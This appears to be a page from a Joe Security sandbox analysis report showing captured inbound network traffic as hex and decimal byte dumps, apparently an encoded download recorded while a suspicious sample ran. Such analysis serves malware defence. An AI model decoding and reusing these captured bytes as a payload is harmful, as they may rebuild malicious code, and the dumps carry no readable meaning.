37 20 35 30 20 33 33 20 36 31 20 34 32 20 31 37 30 20 31 31 35 20 38 39 20 31 30 30 20 39 37 20 36 32 20 33 38 20 31 
36 32 20 32 36 20 31 37 37 20 31 31 31 20 31 30 32 20 39 38 20 31 31 32 20 
Data Ascii:  241 97 62 39 26 145 84 114 127 75 108 33 63 50 39 91 109 97 147 113 30 61 35 58 66 226 76 183 112 50 48 
45 35 71 125 117 124 127 44 206 51 26 89 99 121 117 224 11 112 51 54 84 109 124 126 127 50 33 61 42 170 115 89 100 
97 62 38 162 26 177 111 102 98 112 

2021-10-14 06:12:17 UTC 90 IN Data Raw: 20 31 34 36 20 31 34 33 20 32 30 35 20 37 36 20 32 30 35 20 32 30 31 20 31 37 31 20 32 34 36 20 31 33 38 
20 31 34 36 20 31 34 33 20 32 33 36 20 32 30 37 20 32 30 35 20 32 30 31 20 31 33 38 20 36 39 20 31 30 30 20 31 30 36 
20 39 39 20 35 32 20 33 33 20 35 35 20 31 31 35 20 38 36 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20 
34 38 20 35 30 20 32 35 33 20 31 37 31 20 31 34 31 20 31 33 38 20 31 37 39 20 38 32 20 37 31 20 34 32 20 35 30 20 35 
34 20 38 35 20 31 30 32 20 31 33 39 20 31 31 30 20 39 37 20 35 35 20 33 38 20 32 30 34 20 35 33 20 31 31 20 39 39 20 
31 31 35 20 31 32 33 20 31 34 32 20 35 31 20 31 31 31 20 32 30 34 20 33 39 20 33 32 20 31 30 34 20 31 31 37 20 31 30 
39 20 31 31 33 20 32 36 20 37 20 35 30 20 35 34 20 39 34 20 31 37 32 20 31 
Data Ascii:  146 143 205 76 205 201 171 246 138 146 143 236 207 205 201 138 69 100 106 99 52 33 55 115 86 114 117 
109 112 50 48 50 253 171 141 138 179 82 71 42 50 54 85 102 139 110 97 55 38 204 53 11 99 115 123 142 51 111 204 39 
32 104 117 109 113 26 7 50 54 94 172 1
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2021-10-14 06:12:17 UTC 94 IN Data Raw: 31 20 36 37 20 31 32 30 20 31 38 20 35 33 20 35 30 20 35 34 20 32 31 32 20 31 32 30 20 31 37 31 20 31 30 
20 31 32 30 20 34 33 20 31 36 31 20 35 37 20 34 39 20 36 37 20 36 35 20 31 32 30 20 31 30 30 20 31 31 31 20 35 36 20 
33 30 20 33 31 20 32 32 20 38 31 20 31 31 34 20 31 31 37 20 32 33 37 20 31 32 32 20 32 33 36 20 39 38 20 35 33 20 34 
34 20 31 30 33 20 31 32 37 20 31 32 34 20 31 31 34 20 31 30 32 20 32 38 20 34 34 20 31 38 20 35 31 20 38 34 20 31 31 
34 20 32 34 35 20 31 30 33 20 31 37 34 20 31 31 35 20 35 36 20 34 30 20 31 36 37 20 37 31 20 31 31 39 20 31 32 34 20 
31 31 32 20 39 37 20 35 35 20 32 33 30 20 32 38 20 36 32 20 31 31 36 20 31 31 39 20 31 31 37 20 31 30 39 20 32 34 30 
20 35 36 20 32 33 38 20 33 31 20 33 32 20 39 34 20 31 37 32 20 39 32 20 37 
Data Ascii: 1 67 120 18 53 50 54 212 120 171 10 120 43 161 57 49 67 65 120 100 111 56 30 31 22 81 114 117 237 122 
236 98 53 44 103 127 124 114 102 28 44 18 51 84 114 245 103 174 115 56 40 167 71 119 124 112 97 55 230 28 62 116 
119 117 109 240 56 238 31 32 94 172 92 7

2021-10-14 06:12:17 UTC 97 IN Data Raw: 20 33 30 20 31 31 33 20 31 31 33 20 31 31 37 20 31 30 37 20 31 30 34 20 31 39 31 20 35 35 20 35 30 20 35 
34 20 38 35 20 31 32 31 20 31 31 34 20 31 32 33 20 38 38 20 32 31 20 35 31 20 35 30 20 34 38 20 32 34 36 20 31 31 37 
20 39 38 20 31 30 35 20 32 31 30 20 35 33 20 36 30 20 35 38 20 33 34 20 36 34 20 31 30 36 20 32 34 38 20 36 36 20 31 
31 32 20 35 30 20 34 39 20 36 33 20 36 33 20 36 36 20 31 30 30 20 32 33 33 20 31 30 30 20 31 30 33 20 33 37 20 31 37 
32 20 35 39 20 33 33 20 31 32 34 20 32 31 33 20 31 31 37 20 31 30 39 20 31 32 32 20 32 30 20 34 35 20 33 33 20 35 30 
20 38 34 20 39 39 20 31 31 33 20 31 31 35 20 31 34 32 20 35 31 20 32 38 20 32 32 20 36 32 20 36 37 20 32 33 32 20 39 
33 20 31 32 34 20 31 31 32 20 35 30 20 35 38 20 32 32 36 20 33 35 20 38 34 
Data Ascii:  30 113 113 117 107 104 191 55 50 54 85 121 114 123 88 21 51 50 48 246 117 98 105 210 53 60 58 34 64 106 
248 66 112 50 49 63 63 66 100 233 100 103 37 172 59 33 124 213 117 109 122 20 45 33 50 84 99 113 115 142 51 28 22 
62 67 232 93 124 112 50 58 226 35 84

2021-10-14 06:12:17 UTC 101 IN Data Raw: 33 20 32 20 31 30 32 20 35 31 20 34 38 20 35 36 20 38 39 20 32 30 34 20 31 31 34 20 31 31 37 20 31 30 33 
20 33 31 20 31 36 20 34 39 20 35 30 20 36 30 20 37 31 20 31 31 36 20 36 20 37 35 20 31 31 33 20 35 30 20 35 38 20 33 
33 20 35 31 20 36 39 20 31 31 39 20 31 30 30 20 31 30 37 20 33 31 20 32 31 20 34 39 20 35 30 20 36 30 20 36 39 20 31 
31 39 20 31 30 39 20 32 20 38 39 20 35 31 20 34 38 20 35 36 20 33 39 20 38 31 20 31 30 36 20 32 36 20 37 31 20 31 31 
33 20 35 30 20 35 38 20 35 38 20 35 33 20 35 39 20 32 33 34 20 31 31 37 20 31 30 39 20 31 32 32 20 33 33 20 35 32 20 
33 35 20 35 31 20 35 39 20 31 37 20 31 31 36 20 31 30 39 20 31 32 32 20 33 33 20 35 35 20 33 35 20 34 39 20 36 39 20 
31 31 38 20 39 39 20 31 32 34 20 31 31 36 20 31 38 38 20 31 33 35 20 39 33 
Data Ascii: 3 2 102 51 48 56 89 204 114 117 103 31 16 49 50 60 71 116 6 75 113 50 58 33 51 69 119 100 107 31 21 49 50 
60 69 119 109 2 89 51 48 56 39 81 106 26 71 113 50 58 58 53 59 234 117 109 122 33 52 35 51 59 17 116 109 122 33 55 
35 49 69 118 99 124 116 188 135 93

2021-10-14 06:12:17 UTC 105 IN Data Raw: 20 32 35 20 35 31 20 31 30 38 20 31 38 30 20 31 33 39 20 31 34 36 20 31 34 33 20 32 34 20 34 36 20 34 38 
20 38 39 20 32 31 37 20 31 31 34 20 31 31 37 20 31 30 37 20 39 30 20 31 36 34 20 35 30 20 32 36 20 33 33 20 38 34 20 
31 31 34 20 31 32 37 20 31 31 31 20 31 31 34 20 32 33 20 32 30 36 20 35 33 20 31 37 30 20 38 34 20 31 31 34 20 31 31 
35 20 33 30 20 32 31 35 20 35 30 20 34 38 20 35 32 20 37 35 20 30 20 31 31 34 20 31 31 37 20 31 30 35 20 31 31 34 20 
37 36 20 36 36 20 35 31 20 35 34 20 39 34 20 31 35 20 33 32 20 31 30 39 20 31 31 32 20 35 34 20 32 36 20 31 30 34 20 
37 32 20 32 34 20 31 31 34 20 31 31 37 20 31 30 35 20 31 31 34 20 32 36 20 38 37 20 35 31 20 35 34 20 39 34 20 36 20 
31 30 33 20 31 30 39 20 31 31 32 20 34 38 20 31 37 36 20 31 32 36 20 35 34 
Data Ascii:  25 51 108 180 139 146 143 24 46 48 89 217 114 117 107 90 164 50 26 33 84 114 127 111 114 23 206 53 170 
84 114 115 30 215 50 48 52 75 0 114 117 105 114 76 66 51 54 94 15 32 109 112 54 26 104 72 24 114 117 105 114 26 87 
51 54 94 6 103 109 112 48 176 126 54

2021-10-14 06:12:17 UTC 109 IN Data Raw: 30 20 32 36 20 38 37 20 31 31 33 20 35 30 20 35 38 20 35 32 20 33 30 20 31 31 31 20 31 31 33 20 31 31 37 
20 31 30 37 20 31 34 20 38 32 20 34 38 20 35 30 20 35 30 20 31 32 34 20 32 32 34 20 31 31 39 20 31 30 39 20 31 31 38 
20 32 36 20 31 34 32 20 35 30 20 35 34 20 39 34 20 32 39 20 37 39 20 31 30 38 20 31 31 32 20 35 36 20 35 34 20 32 36 
20 31 38 37 20 38 36 20 31 31 34 20 31 31 35 20 31 39 20 31 36 20 35 30 20 34 38 20 35 34 20 33 30 20 32 31 38 20 31 
31 32 20 31 31 37 20 31 30 37 20 38 38 20 31 34 30 20 34 38 20 35 30 20 36 30 20 35 39 20 37 32 20 31 31 36 20 31 30 
39 20 31 32 32 20 35 32 20 32 34 20 31 34 20 35 33 20 38 34 20 31 31 36 20 31 31 20 31 33 20 31 31 32 20 35 30 20 35 
32 20 32 36 20 31 33 34 20 38 36 20 31 31 34 20 31 31 35 20 36 39 20 32 30 
Data Ascii: 0 26 87 113 50 58 52 30 111 113 117 107 14 82 48 50 50 124 224 119 109 118 26 142 50 54 94 29 79 108 112 
56 54 26 187 86 114 115 19 16 50 48 54 30 218 112 117 107 88 140 48 50 60 59 72 116 109 122 52 24 14 53 84 116 11 
13 112 50 52 26 134 86 114 115 69 20

2021-10-14 06:12:17 UTC 114 IN Data Raw: 20 31 39 35 20 31 31 37 20 31 30 39 20 31 31 38 20 33 35 20 35 36 20 33 37 20 32 32 34 20 37 31 20 31 32 
32 20 31 30 30 20 31 30 31 20 39 37 20 35 39 20 31 39 30 20 31 33 33 20 34 20 31 35 35 20 39 36 20 31 31 34 20 36 39 
20 32 34 31 20 35 31 20 34 38 20 35 36 20 32 37 20 31 39 32 20 31 37 32 20 31 32 33 20 31 32 37 20 31 31 39 20 32 30 
34 20 33 38 20 33 38 20 35 34 20 38 34 20 31 30 35 20 32 36 20 35 38 20 31 31 32 20 35 30 20 35 38 20 32 33 38 20 32 
38 20 38 35 20 39 38 20 31 31 37 20 31 30 39 20 31 31 34 20 35 30 20 31 37 36 20 35 31 20 37 35 20 31 36 39 20 31 31 
35 20 31 32 33 20 31 30 39 20 31 31 32 20 35 30 20 34 38 20 34 31 20 36 20 38 30 20 31 31 34 20 31 30 33 20 31 30 38 
20 31 31 32 20 35 30 20 31 30 31 20 35 30 20 35 34 20 36 39 20 31 31 32 20 
Data Ascii:  195 117 109 118 35 56 37 224 71 122 100 101 97 59 190 133 4 155 96 114 69 241 51 48 56 27 192 172 123 
127 119 204 38 38 54 84 105 26 58 112 50 58 238 28 85 98 117 109 114 50 176 51 75 169 115 123 109 112 50 48 41 6 
80 114 103 108 112 50 101 50 54 69 112 

2021-10-14 06:12:17 UTC 118 IN Data Raw: 30 20 35 34 20 38 32 20 39 37 20 31 32 37 20 36 39 20 35 35 20 35 31 20 34 38 20 35 36 20 33 39 20 38 32 
20 39 39 20 31 32 34 20 36 39 20 31 38 20 34 39 20 34 38 20 35 32 20 38 39 20 32 32 32 20 31 31 35 20 31 31 37 20 31 
30 37 20 33 31 20 31 37 30 20 34 38 20 35 30 20 36 30 20 36 39 20 31 32 30 20 39 33 20 32 31 38 20 31 31 32 20 35 30 
20 35 34 20 33 33 20 35 31 20 31 32 37 20 31 30 33 20 31 30 30 20 31 30 37 20 39 37 20 35 39 20 32 34 20 38 30 20 35 
33 20 38 34 20 31 31 36 20 32 36 20 32 33 31 20 31 31 33 20 35 30 20 35 34 20 32 36 20 31 34 32 20 38 34 20 31 31 34 
20 31 31 35 20 31 32 36 20 31 31 37 20 33 35 20 35 32 20 32 36 20 31 38 35 20 38 35 20 31 31 34 20 31 32 37 20 36 34 
20 37 39 20 33 35 20 35 35 20 32 36 20 31 38 35 20 38 35 20 31 31 34 20 31 
Data Ascii: 0 54 82 97 127 69 55 51 48 56 39 82 99 124 69 18 49 48 52 89 222 115 117 107 31 170 48 50 60 69 120 93 
218 112 50 54 33 51 127 103 100 107 97 59 24 80 53 84 116 26 231 113 50 54 26 142 84 114 115 126 117 35 52 26 185 
85 114 127 64 79 35 55 26 185 85 114 1

2021-10-14 06:12:17 UTC 122 IN Data Raw: 38 20 32 34 20 34 38 20 35 30 20 35 34 20 37 31 20 36 36 20 31 31 38 20 31 30 39 20 33 39 20 35 31 20 34 
38 20 35 30 20 31 30 36 20 38 34 20 31 31 34 20 31 30 30 20 31 31 34 20 31 30 34 20 31 39 31 20 32 37 20 35 30 20 35 
34 20 38 35 20 31 32 30 20 31 31 35 20 31 32 33 20 38 30 20 32 31 31 20 34 38 20 35 30 20 35 34 20 32 30 30 20 31 31 
36 20 39 38 20 37 37 20 31 32 38 20 35 30 20 34 38 20 35 30 20 31 37 30 20 38 32 20 31 30 36 20 38 35 20 31 37 34 20 
31 31 32 20 35 30 20 34 38 20 31 37 34 20 34 38 20 37 37 20 38 32 20 31 36 37 20 31 30 39 20 31 31 32 20 35 30 20 31 
37 32 20 35 32 20 34 34 20 31 31 36 20 32 31 35 20 31 31 37 20 31 30 39 20 31 31 32 20 31 37 34 20 35 34 20 34 31 20 
32 32 20 32 32 34 20 31 31 34 20 31 31 37 20 31 30 39 20 32 33 36 20 35 32 
Data Ascii: 8 24 48 50 54 71 66 118 109 39 51 48 50 106 84 114 100 114 104 191 27 50 54 85 120 115 123 80 211 48 50 
54 200 116 98 77 128 50 48 50 170 82 106 85 174 112 50 48 174 48 77 82 167 109 112 50 172 52 44 116 215 117 109 11
2 174 54 41 22 224 114 117 109 236 52
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2021-10-14 06:12:17 UTC 126 IN Data Raw: 31 32 34 20 33 35 20 33 32 20 33 36 20 38 20 31 39 35 20 31 31 32 20 31 31 37 20 31 30 39 20 31 30 33 20 
33 35 20 33 32 20 33 33 20 32 39 20 37 31 20 39 37 20 37 37 20 32 33 39 20 31 31 34 20 35 30 20 34 38 20 33 35 20 35 
38 20 36 39 20 31 31 37 20 39 33 20 32 35 20 31 31 33 20 35 30 20 35 38 20 32 36 20 33 39 20 38 34 20 31 31 34 20 31 
32 37 20 31 32 36 20 31 30 31 20 32 36 20 31 37 33 20 35 31 20 35 34 20 39 34 20 31 30 38 20 37 30 20 31 31 36 20 39 
38 20 36 32 20 33 34 20 36 32 20 33 30 20 32 30 35 20 31 31 35 20 31 31 37 20 31 30 33 20 39 37 20 35 33 20 32 34 20 
35 30 20 35 35 20 38 34 20 31 32 30 20 33 31 20 31 38 37 20 38 38 20 31 37 32 20 34 39 20 35 30 20 36 30 20 31 32 37 
20 31 30 36 20 31 30 33 20 39 37 20 39 38 20 36 32 20 32 34 20 37 34 20 35 
Data Ascii: 124 35 32 36 8 195 112 117 109 103 35 32 33 29 71 97 77 239 114 50 48 35 58 69 117 93 25 113 50 58 26 39 
84 114 127 126 101 26 173 51 54 94 108 70 116 98 62 34 62 30 205 115 117 103 97 53 24 50 55 84 120 31 187 88 172 
49 50 60 127 106 103 97 98 62 24 74 5

2021-10-14 06:12:17 UTC 129 IN Data Raw: 20 33 33 20 35 38 20 35 30 20 33 39 20 39 34 20 31 30 31 20 31 33 39 20 31 30 38 20 39 32 20 34 39 20 34 
30 20 33 33 20 36 30 20 38 34 20 39 39 20 31 32 37 20 31 31 34 20 31 30 39 20 32 30 34 20 34 39 20 33 30 20 36 33 20 
31 30 38 20 33 33 20 31 31 39 20 31 30 39 20 31 31 32 20 34 35 20 34 36 20 33 33 20 36 30 20 38 34 20 39 39 20 31 32 
37 20 31 31 34 20 31 32 36 20 32 30 34 20 34 39 20 33 30 20 33 39 20 38 32 20 39 30 20 32 30 39 20 31 30 38 20 31 31 
32 20 35 36 20 31 38 38 20 31 34 32 20 35 34 20 38 34 20 31 31 35 20 31 30 32 20 31 30 34 20 31 31 31 20 36 31 20 33 
35 20 35 36 20 35 34 20 36 39 20 31 32 30 20 31 30 36 20 39 36 20 31 34 32 20 35 31 20 32 38 20 35 39 20 31 34 20 31 
31 35 20 31 31 32 20 31 31 37 20 31 30 39 20 31 31 31 20 36 30 20 33 35 20 
Data Ascii:  33 58 50 39 94 101 139 108 92 49 40 33 60 84 99 127 114 109 204 49 30 63 108 33 119 109 112 45 46 33 60 
84 99 127 114 126 204 49 30 39 82 90 209 108 112 56 188 142 54 84 115 102 104 111 61 35 56 54 69 120 106 96 142 51 
28 59 14 115 112 117 109 111 60 35 

2021-10-14 06:12:17 UTC 133 IN Data Raw: 32 20 35 32 20 32 39 20 35 35 20 31 34 20 38 36 20 31 31 35 20 31 31 37 20 31 30 39 20 39 37 20 35 34 20 
32 34 20 31 38 35 20 35 35 20 38 34 20 31 32 30 20 32 36 20 32 32 37 20 31 31 33 20 35 30 20 35 38 20 39 33 20 31 38 
36 20 38 35 20 31 31 34 20 31 32 37 20 36 39 20 31 39 38 20 35 30 20 34 38 20 35 32 20 33 37 20 38 31 20 31 32 20 32 
33 30 20 31 30 39 20 31 31 32 20 35 36 20 33 35 20 35 32 20 33 32 20 36 39 20 31 31 37 20 32 36 20 32 32 39 20 31 31 
33 20 35 30 20 35 34 20 33 37 20 32 33 36 20 37 31 20 39 38 20 31 30 32 20 31 30 30 20 37 32 20 32 34 35 20 34 38 20 
35 30 20 35 34 20 36 39 20 31 31 37 20 31 30 30 20 31 30 30 20 38 38 20 38 32 20 35 31 20 35 30 20 34 38 20 35 39 20 
32 34 38 20 31 31 36 20 31 30 39 20 31 31 38 20 33 33 20 35 38 20 33 35 20 
Data Ascii: 2 52 29 55 14 86 115 117 109 97 54 24 185 55 84 120 26 227 113 50 58 93 186 85 114 127 69 198 50 48 52 
37 81 12 230 109 112 56 35 52 32 69 117 26 229 113 50 54 37 236 71 98 102 100 72 245 48 50 54 69 117 100 100 88 82 
51 50 48 59 248 116 109 118 33 58 35 

2021-10-14 06:12:17 UTC 137 IN Data Raw: 32 35 35 20 35 31 20 34 38 20 35 36 20 32 37 20 32 33 20 39 39 20 31 32 37 20 36 39 20 32 35 35 20 35 31 
20 34 38 20 35 36 20 32 37 20 31 31 30 20 39 39 20 31 32 35 20 36 35 20 37 30 20 36 35 20 31 38 20 34 38 20 35 34 20 
38 32 20 39 37 20 31 32 30 20 31 32 34 20 31 32 35 20 33 35 20 35 34 20 39 33 20 33 30 20 38 36 20 31 31 34 20 31 31 
35 20 31 32 34 20 31 32 35 20 33 35 20 35 38 20 39 33 20 31 38 20 38 36 20 31 31 34 20 31 31 35 20 31 32 34 20 31 32 
35 20 33 35 20 35 36 20 39 33 20 31 36 20 38 36 20 31 31 34 20 31 31 35 20 31 32 34 20 31 32 35 20 32 36 20 31 34 20 
34 39 20 35 34 20 38 32 20 32 39 20 39 35 20 31 31 31 20 31 31 32 20 35 32 20 35 34 20 33 35 20 35 39 20 35 39 20 31 
30 32 20 31 31 36 20 31 30 39 20 31 32 32 20 32 36 20 33 30 20 34 38 20 35 
Data Ascii: 255 51 48 56 27 23 99 127 69 255 51 48 56 27 110 99 125 65 70 65 18 48 54 82 97 120 124 125 35 54 93 30 
86 114 115 124 125 35 58 93 18 86 114 115 124 125 35 56 93 16 86 114 115 124 125 26 14 49 54 82 29 95 111 112 52 54 
35 59 59 102 116 109 122 26 30 48 5

2021-10-14 06:12:17 UTC 141 IN Data Raw: 20 31 38 20 34 38 20 35 34 20 38 32 20 31 32 31 20 39 33 20 38 35 20 31 31 32 20 35 30 20 35 38 20 32 33 
36 20 35 34 20 38 33 20 38 38 20 31 31 36 20 31 32 35 20 31 31 32 20 35 30 20 34 38 20 35 30 20 34 38 20 38 34 20 31 
32 39 20 31 34 30 20 31 30 39 20 31 30 31 20 34 30 20 34 38 20 35 30 20 35 35 20 37 39 20 36 36 20 31 31 38 20 31 30 
39 20 34 34 20 35 30 20 34 38 20 35 30 20 31 30 34 20 38 34 20 31 31 34 20 31 30 30 20 33 30 20 32 30 32 20 35 30 20 
34 38 20 35 36 20 36 30 20 38 32 20 31 32 20 38 39 20 31 30 38 20 31 31 32 20 35 34 20 32 34 20 33 37 20 35 32 20 38 
34 20 31 31 36 20 39 33 20 36 33 20 31 31 35 20 35 30 20 35 34 20 32 36 20 34 36 20 38 36 20 31 31 34 20 31 31 35 20 
32 20 31 38 32 20 35 30 20 34 38 20 35 36 20 32 33 32 20 39 30 20 38 37 20 
Data Ascii:  18 48 54 82 121 93 85 112 50 58 236 54 83 88 116 125 112 50 48 50 48 84 129 140 109 101 40 48 50 55 79 
66 118 109 44 50 48 50 104 84 114 100 30 202 50 48 56 60 82 12 89 108 112 54 24 37 52 84 116 93 63 115 50 54 26 46 
86 114 115 2 182 50 48 56 232 90 87 

2021-10-14 06:12:17 UTC 146 IN Data Raw: 20 39 35 20 31 38 36 20 35 35 20 38 34 20 31 31 36 20 39 38 20 31 38 33 20 39 39 20 33 36 20 33 35 20 35 
38 20 31 34 20 32 31 36 20 31 31 34 20 31 31 37 20 31 30 39 20 39 37 20 35 32 20 33 33 20 35 38 20 33 33 20 35 39 20 
32 35 31 20 31 31 36 20 31 30 39 20 31 31 38 20 33 33 20 35 37 20 33 35 20 34 38 20 36 39 20 31 32 32 20 31 31 31 20 
32 20 32 34 39 20 35 31 20 34 38 20 35 32 20 33 37 20 39 35 20 39 39 20 31 31 35 20 31 32 34 20 31 32 30 20 34 33 20 
39 35 20 31 38 37 20 35 35 20 38 34 20 31 31 36 20 31 30 32 20 31 30 33 20 39 37 20 35 39 20 32 34 20 31 38 39 20 35 
35 20 38 34 20 31 32 30 20 38 38 20 33 37 20 39 37 20 35 37 20 32 34 20 31 38 39 20 35 35 20 38 34 20 31 32 30 20 38 
38 20 38 32 20 39 37 20 35 36 20 32 34 20 31 38 39 20 35 35 20 38 34 20 31 
Data Ascii:  95 186 55 84 116 98 183 99 36 35 58 14 216 114 117 109 97 52 33 58 33 59 251 116 109 118 33 57 35 48 69 
122 111 2 249 51 48 52 37 95 99 115 124 120 43 95 187 55 84 116 102 103 97 59 24 189 55 84 120 88 37 97 57 24 189 
55 84 120 88 82 97 56 24 189 55 84 1

2021-10-14 06:12:17 UTC 150 IN Data Raw: 20 31 36 39 20 31 32 34 20 31 32 37 20 33 37 20 32 33 30 20 33 33 20 35 37 20 36 39 20 31 32 35 20 31 30 
30 20 31 32 33 20 37 38 20 31 31 34 20 32 30 37 20 32 30 35 20 32 30 31 20 38 32 20 32 39 20 31 38 32 20 31 30 38 20 
31 31 32 20 35 36 20 39 35 20 32 34 36 20 35 35 20 38 34 20 31 32 30 20 31 30 32 20 31 31 37 20 39 31 20 31 30 38 20 
33 34 20 34 32 20 33 30 20 31 34 35 20 31 31 35 20 31 31 37 20 31 30 33 20 39 39 20 33 33 20 33 33 20 33 33 20 38 39 
20 31 31 33 20 31 31 32 20 31 31 37 20 31 30 37 20 33 31 20 32 35 31 20 34 38 20 35 30 20 36 30 20 36 37 20 36 37 20 
35 31 20 33 30 20 38 32 20 34 38 20 34 38 20 35 32 20 33 37 20 36 34 20 39 39 20 39 37 20 31 32 34 20 39 39 20 39 33 
20 32 33 20 34 38 20 35 34 20 38 32 20 32 39 20 39 33 20 31 31 31 20 31 31 
Data Ascii:  169 124 127 37 230 33 57 69 125 100 123 78 114 207 205 201 82 29 182 108 112 56 95 246 55 84 120 102 
117 91 108 34 42 30 145 115 117 103 99 33 33 33 89 113 112 117 107 31 251 48 50 60 67 67 51 30 82 48 48 52 37 64 99 
97 124 99 93 23 48 54 82 29 93 111 11

2021-10-14 06:12:17 UTC 154 IN Data Raw: 20 31 31 37 20 31 30 33 20 38 38 20 33 35 20 34 38 20 35 30 20 36 30 20 37 31 20 31 32 35 20 31 30 30 20 
39 36 20 31 30 30 20 32 36 20 32 34 32 20 34 39 20 35 34 20 38 32 20 31 30 31 20 32 34 38 20 31 30 36 20 31 31 32 20 
35 30 20 34 39 20 33 33 20 33 32 20 36 39 20 31 30 30 20 39 39 20 31 32 33 20 32 35 32 20 31 33 20 34 38 20 35 30 20 
35 35 20 32 34 36 20 39 39 20 39 39 20 31 32 31 20 31 30 30 20 33 38 20 32 34 20 31 34 35 20 35 34 20 38 34 20 31 32 
30 20 39 37 20 36 39 20 31 37 38 20 34 39 20 34 38 20 35 32 20 33 33 20 32 31 37 20 31 31 37 20 31 31 37 20 31 30 39 
20 31 31 33 20 33 33 20 33 37 20 33 35 20 33 35 20 36 36 20 31 30 36 20 32 34 39 20 38 32 20 31 31 32 20 35 30 20 34 
39 20 31 34 34 20 33 39 20 36 35 20 31 30 32 20 39 37 20 31 32 31 20 38 38 
Data Ascii:  117 103 88 35 48 50 60 71 125 100 96 100 26 242 49 54 82 101 248 106 112 50 49 33 32 69 100 99 123 252 
13 48 50 55 246 99 99 121 100 38 24 145 54 84 120 97 69 178 49 48 52 33 217 117 117 109 113 33 37 35 35 66 106 249 
82 112 50 49 144 39 65 102 97 121 88

Timestamp
kBytes
transferred Direction Data

Copyright Joe Security LLC 2021 Page 25 of 36



2021-10-14 06:12:17 UTC 158 IN Data Raw: 30 34 20 31 31 32 20 33 35 20 35 33 20 34 35 20 35 38 20 31 37 30 20 31 31 35 20 38 39 20 31 31 31 20 39 
31 20 35 35 20 38 20 35 39 20 32 30 31 20 31 37 31 20 31 34 31 20 31 32 35 20 37 31 20 31 31 32 20 35 30 20 34 38 20 
33 33 20 36 20 38 30 20 31 31 34 20 31 34 38 20 31 30 38 20 31 31 32 20 35 30 20 39 35 20 35 30 20 35 34 20 36 39 20 
31 30 30 20 31 30 32 20 31 30 33 20 37 32 20 32 35 35 20 34 39 20 35 30 20 35 34 20 38 34 20 39 39 20 31 32 37 20 31 
32 32 20 31 34 32 20 35 31 20 32 38 20 34 39 20 34 36 20 37 31 20 31 32 30 20 31 31 37 20 31 32 34 20 31 32 32 20 34 
30 20 32 30 36 20 35 31 20 32 36 20 37 39 20 39 39 20 31 31 32 20 31 32 32 20 38 38 20 31 33 39 20 35 30 20 35 30 20 
34 38 20 31 32 34 20 31 38 36 20 31 31 37 20 31 30 39 20 31 32 32 20 32 36 
Data Ascii: 04 112 35 53 45 58 170 115 89 111 91 55 8 59 201 171 141 125 71 112 50 48 33 6 80 114 148 108 112 50 95 
50 54 69 100 102 103 72 255 49 50 54 84 99 127 122 142 51 28 49 46 71 120 117 124 122 40 206 51 26 79 99 112 122 8
8 139 50 50 48 124 186 117 109 122 26

2021-10-14 06:12:17 UTC 161 IN Data Raw: 20 36 37 20 31 33 36 20 35 34 20 38 34 20 31 32 30 20 31 32 37 20 31 39 20 37 36 20 35 30 20 34 38 20 35 
36 20 33 30 20 31 33 31 20 31 31 33 20 31 31 37 20 31 30 37 20 31 30 33 20 39 33 20 31 33 20 35 30 20 35 34 20 39 34 
20 39 35 20 31 31 34 20 31 30 37 20 31 32 33 20 32 33 39 20 34 37 20 35 31 20 35 34 20 38 34 20 31 37 32 20 39 37 20 
37 32 20 38 38 20 35 20 34 38 20 35 30 20 36 30 20 37 31 20 31 31 38 20 31 31 35 20 31 30 32 20 38 38 20 31 30 20 34 
38 20 35 30 20 36 30 20 31 33 37 20 31 32 33 20 31 31 36 20 31 30 39 20 31 31 32 20 37 36 20 31 32 20 35 30 20 35 34 
20 39 34 20 39 30 20 31 36 32 20 31 31 30 20 31 31 32 20 35 32 20 33 39 20 39 33 20 31 31 20 38 34 20 31 31 34 20 31 
32 37 20 39 37 20 31 32 30 20 39 33 20 31 32 39 20 35 31 20 35 34 20 39 34 
Data Ascii:  67 136 54 84 120 127 19 76 50 48 56 30 131 113 117 107 103 93 13 50 54 94 95 114 107 123 239 47 51 54 
84 172 97 72 88 5 48 50 60 71 118 115 102 88 10 48 50 60 137 123 116 109 112 76 12 50 54 94 90 162 110 112 52 39 93 
11 84 114 127 97 120 93 129 51 54 94

2021-10-14 06:12:17 UTC 165 IN Data Raw: 20 34 31 20 31 31 33 20 35 30 20 35 38 20 33 37 20 31 37 32 20 31 32 34 20 31 35 34 20 31 31 38 20 31 30 
39 20 31 31 38 20 33 39 20 33 38 20 32 36 20 31 31 34 20 38 35 20 31 31 34 20 31 32 37 20 31 32 33 20 32 33 34 20 39 
33 20 32 30 20 34 38 20 35 34 20 38 32 20 39 39 20 31 31 32 20 36 39 20 31 35 33 20 34 39 20 34 38 20 35 32 20 38 39 
20 32 30 31 20 31 31 34 20 31 31 37 20 31 30 33 20 39 32 20 33 20 33 33 20 35 32 20 33 39 20 38 31 20 39 30 20 31 35 
36 20 31 31 30 20 31 31 32 20 35 32 20 33 37 20 33 36 20 33 30 20 31 36 20 31 31 35 20 31 31 37 20 31 30 33 20 31 30 
33 20 31 36 38 20 32 34 20 32 31 36 20 35 33 20 38 34 20 31 31 36 20 39 36 20 31 32 33 20 38 38 20 31 31 38 20 34 39 
20 35 30 20 36 30 20 36 36 20 32 33 32 20 39 33 20 31 31 30 20 31 31 33 20 
Data Ascii:  41 113 50 58 37 172 124 154 118 109 118 39 38 26 114 85 114 127 123 234 93 20 48 54 82 99 112 69 153 49 
48 52 89 201 114 117 103 92 3 33 52 39 81 90 156 110 112 52 37 36 30 16 115 117 103 103 168 24 216 53 84 116 96 1
23 88 118 49 50 60 66 232 93 110 113 

2021-10-14 06:12:17 UTC 169 IN Data Raw: 32 33 20 32 30 34 20 35 35 20 31 32 30 20 31 32 35 20 31 30 30 20 39 36 20 39 37 20 36 30 20 31 39 30 20 
31 33 33 20 39 20 31 37 36 20 31 31 32 20 31 31 37 20 31 30 39 20 31 31 31 20 32 36 20 33 35 20 33 32 20 35 34 20 36 
39 20 39 36 20 31 30 36 20 31 30 33 20 31 34 32 20 35 31 20 32 38 20 35 32 20 32 39 20 31 37 38 20 31 30 39 20 31 32 
36 20 31 32 36 20 39 38 20 35 30 20 33 33 20 33 32 20 34 31 20 37 39 20 31 34 30 20 31 31 36 20 36 35 20 31 31 38 20 
32 35 20 31 37 20 34 35 20 34 32 20 37 31 20 39 36 20 31 31 37 20 31 32 34 20 39 38 20 34 35 20 34 32 20 32 30 34 20 
35 35 20 31 32 30 20 31 32 31 20 39 33 20 31 30 39 20 31 31 36 20 35 30 20 35 34 20 33 33 20 35 31 20 37 35 20 31 30 
35 20 31 30 32 20 31 32 37 20 31 31 32 20 33 35 20 33 34 20 34 35 20 34 30 
